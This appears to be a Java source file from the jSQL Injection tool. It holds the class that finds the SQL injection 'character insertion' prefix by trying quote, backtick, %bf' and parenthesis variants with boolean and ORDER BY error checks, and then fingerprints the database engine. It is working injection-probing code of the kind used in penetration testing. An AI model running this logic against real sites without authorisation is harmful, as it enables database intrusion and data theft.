1 package com.jsql.model.suspendable;
2
3 import com.jsql.model.InjectionModel;
4 import com.jsql.view.subscriber.Seal;
5 import com.jsql.model.exception.JSqlException;
6 import com.jsql.model.exception.StoppedByUserSlidingException;
7 import com.jsql.model.injection.strategy.blind.InjectionCharInsertion;
8 import com.jsql.model.injection.engine.MediatorEngine;
9 import com.jsql.model.injection.engine.model.Engine;
10 import com.jsql.model.suspendable.callable.CallablePageSource;
11 import com.jsql.util.I18nUtil;
12 import com.jsql.util.LogLevelUtil;
13 import org.apache.commons.lang3.RandomStringUtils;
14 import org.apache.commons.lang3.StringUtils;
15 import org.apache.logging.log4j.LogManager;
16 import org.apache.logging.log4j.Logger;
17
18 import java.util.*;
19 import java.util.concurrent.CompletionService;
20 import java.util.concurrent.ExecutionException;
21 import java.util.concurrent.ExecutorCompletionService;
22 import java.util.concurrent.ExecutorService;
23 import java.util.regex.Pattern;
24 import java.util.stream.Stream;
25
26
27
28
29
30
31
32
33
34 public class SuspendableGetCharInsertion extends AbstractSuspendable {
35
36 private static final Logger LOGGER = LogManager.getRootLogger();
37
38 private static final String LABEL_PREFIX = "prefix";
39
40 public SuspendableGetCharInsertion(InjectionModel injectionModel) {
41 super(injectionModel);
42 }
43
44 @Override
45 public String run(Input input) throws JSqlException {
46 String characterInsertionByUser = input.payload();
47
48 ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().threadUtil().getExecutor("CallableGetInsertionCharacter");
49 CompletionService<CallablePageSource> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
50
51 var charFromBooleanMatch = new String[1];
52 List<String> charactersInsertion = this.initCallables(taskCompletionService, charFromBooleanMatch);
53
54 var mediatorEngine = this.injectionModel.getMediatorEngine();
55 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Fingerprinting database and character insertion with Order by match...");
56
57 String charFromOrderBy = null;
58
59 int total = charactersInsertion.size();
60 while (0 < total) {
61 if (this.isSuspended()) {
62 throw new StoppedByUserSlidingException();
63 }
64 try {
65 CallablePageSource currentCallable = taskCompletionService.take().get();
66 total--;
67 String pageSource = currentCallable.getContent();
68
69 List<Engine> enginesOrderByMatches = this.getEnginesOrderByMatch(mediatorEngine, pageSource);
70 if (!enginesOrderByMatches.isEmpty()) {
71 if (this.injectionModel.getMediatorEngine().getEngineByUser() == this.injectionModel.getMediatorEngine().getAuto()) {
72 this.setEngine(mediatorEngine, enginesOrderByMatches);
73
74 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Using [{}]", mediatorEngine.getEngine());
75 this.injectionModel.sendToViews(new Seal.ActivateEngine(mediatorEngine.getEngine()));
76 }
77
78 charFromOrderBy = currentCallable.getCharacterInsertion();
79 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Character insertion [{}] matching with Order by and compatible with Error strategy", charFromOrderBy);
80 break;
81 }
82 } catch (InterruptedException e) {
83 LOGGER.log(LogLevelUtil.IGNORE, e, e);
84 Thread.currentThread().interrupt();
85 } catch (ExecutionException e) {
86 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
87 }
88 }
89 this.injectionModel.getMediatorUtils().threadUtil().shutdown(taskExecutor);
90 if (charFromOrderBy == null && charFromBooleanMatch[0] != null) {
91 charFromOrderBy = charFromBooleanMatch[0];
92 }
93 return this.getCharacterInsertion(characterInsertionByUser, charFromOrderBy);
94 }
95
96 private void setEngine(MediatorEngine mediatorEngine, List<Engine> enginesOrderByMatches) {
97 if (
98 enginesOrderByMatches.size() == 1
99 && enginesOrderByMatches.getFirst() != mediatorEngine.getEngine()
100 ) {
101 mediatorEngine.setEngine(enginesOrderByMatches.getFirst());
102 } else if (enginesOrderByMatches.size() > 1) {
103 if (enginesOrderByMatches.contains(mediatorEngine.getPostgres())) {
104 mediatorEngine.setEngine(mediatorEngine.getPostgres());
105 } else if (enginesOrderByMatches.contains(mediatorEngine.getMysql())) {
106 mediatorEngine.setEngine(mediatorEngine.getMysql());
107 } else {
108 mediatorEngine.setEngine(enginesOrderByMatches.getFirst());
109 }
110 }
111 }
112
113 private List<Engine> getEnginesOrderByMatch(MediatorEngine mediatorEngine, String pageSource) {
114 return mediatorEngine.getEnginesForFingerprint()
115 .stream()
116 .filter(engine -> engine != mediatorEngine.getAuto())
117 .filter(engine -> StringUtils.isNotEmpty(
118 engine.instance().getModelYaml().getStrategy().getConfiguration().getFingerprint().getOrderByErrorMessage()
119 ))
120 .filter(engine -> {
121 Optional<String> optionalOrderByErrorMatch = Stream.of(
122 engine.instance().getModelYaml().getStrategy().getConfiguration().getFingerprint().getOrderByErrorMessage()
123 .split("[\\r\\n]+")
124 )
125 .filter(errorMessage ->
126 Pattern
127 .compile(".*" + errorMessage + ".*", Pattern.DOTALL)
128 .matcher(pageSource)
129 .matches()
130 )
131 .findAny();
132 if (optionalOrderByErrorMatch.isPresent()) {
133 LOGGER.log(
134 LogLevelUtil.CONSOLE_SUCCESS,
135 String.format("Order by fingerprint matching vendor [%s]", engine)
136 );
137 }
138 return optionalOrderByErrorMatch.isPresent();
139 })
140 .toList();
141 }
142
143 private List<String> initCallables(CompletionService<CallablePageSource> taskCompletionService, String[] charFromBooleanMatch) throws JSqlException {
144 List<String> prefixValues = Arrays.asList(
145 RandomStringUtils.secure().next(10, "012"),
146 "1"
147 );
148 List<String> prefixQuotes = Arrays.asList(
149 SuspendableGetCharInsertion.LABEL_PREFIX +"'",
150 SuspendableGetCharInsertion.LABEL_PREFIX,
151 SuspendableGetCharInsertion.LABEL_PREFIX +"`",
152 SuspendableGetCharInsertion.LABEL_PREFIX +"\"",
153 SuspendableGetCharInsertion.LABEL_PREFIX +"%bf'"
154 );
155 List<String> prefixParentheses = Arrays.asList(StringUtils.EMPTY, ")", "))");
156 List<String> charactersInsertion = new ArrayList<>();
157 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Fingerprinting character insertion with Boolean match...");
158 for (String prefixValue: prefixValues) {
159 for (String prefixQuote: prefixQuotes) {
160 for (String prefixParenthesis: prefixParentheses) {
161 this.checkInsertionChar(charFromBooleanMatch, charactersInsertion, prefixValue, prefixQuote, prefixParenthesis);
162 }
163 }
164 }
165 for (String characterInsertion: charactersInsertion) {
166 taskCompletionService.submit(
167 new CallablePageSource(
168 characterInsertion
169 + StringUtils.SPACE
170 + this.injectionModel.getMediatorEngine().getEngine().instance().sqlOrderBy(),
171 characterInsertion,
172 this.injectionModel,
173 "prefix#orderby"
174 )
175 );
176 }
177 return charactersInsertion;
178 }
179
180 private void checkInsertionChar(
181 String[] charFromBooleanMatch,
182 List<String> charactersInsertion,
183 String prefixValue,
184 String prefixQuote,
185 String prefixParenthesis
186 ) throws StoppedByUserSlidingException {
187 String characterInsertion = prefixQuote.replace(SuspendableGetCharInsertion.LABEL_PREFIX, prefixValue) + prefixParenthesis;
188 charactersInsertion.add(characterInsertion);
189
190 if (charFromBooleanMatch[0] == null) {
191 var injectionCharInsertion = new InjectionCharInsertion(
192 this.injectionModel,
193 characterInsertion,
194 prefixQuote + prefixParenthesis
195 );
196 if (injectionCharInsertion.isInjectable()) {
197 if (this.isSuspended()) {
198 throw new StoppedByUserSlidingException();
199 }
200 charFromBooleanMatch[0] = characterInsertion;
201 LOGGER.log(
202 LogLevelUtil.CONSOLE_SUCCESS,
203 "Found character insertion [{}] using Boolean match",
204 () -> charFromBooleanMatch[0]
205 );
206 }
207 }
208 }
209
210 private String getCharacterInsertion(String characterInsertionByUser, String characterInsertionDetected) {
211 String characterInsertionDetectedFixed = characterInsertionDetected;
212 if (characterInsertionDetectedFixed == null) {
213 characterInsertionDetectedFixed = characterInsertionByUser;
214 String logCharacterInsertion = characterInsertionDetectedFixed;
215 LOGGER.log(
216 LogLevelUtil.CONSOLE_ERROR,
217 "No character insertion found, forcing to [{}]",
218 () -> logCharacterInsertion.replace(InjectionModel.STAR, StringUtils.EMPTY)
219 );
220 } else if (!characterInsertionByUser.replace(InjectionModel.STAR, StringUtils.EMPTY).equals(characterInsertionDetectedFixed)) {
221 String characterInsertionByUserFormat = characterInsertionByUser.replace(InjectionModel.STAR, StringUtils.EMPTY);
222 LOGGER.log(
223 LogLevelUtil.CONSOLE_INFORM,
224 "Using [{}] and matching [{}]",
225 () -> this.injectionModel.getMediatorEngine().getEngine(),
226 () -> characterInsertionDetected
227 );
228 LOGGER.log(
229 LogLevelUtil.CONSOLE_DEFAULT,
230 "Disable search for char insertion in Preferences to force the value [{}]",
231 () -> characterInsertionByUserFormat
232 );
233 } else {
234 LOGGER.log(
235 LogLevelUtil.CONSOLE_INFORM,
236 "{} [{}]",
237 () -> I18nUtil.valueByKey("LOG_USING_INSERTION_CHARACTER"),
238 () -> characterInsertionDetected.replace(InjectionModel.STAR, StringUtils.EMPTY)
239 );
240 }
241 return characterInsertionDetectedFixed;
242 }
243 }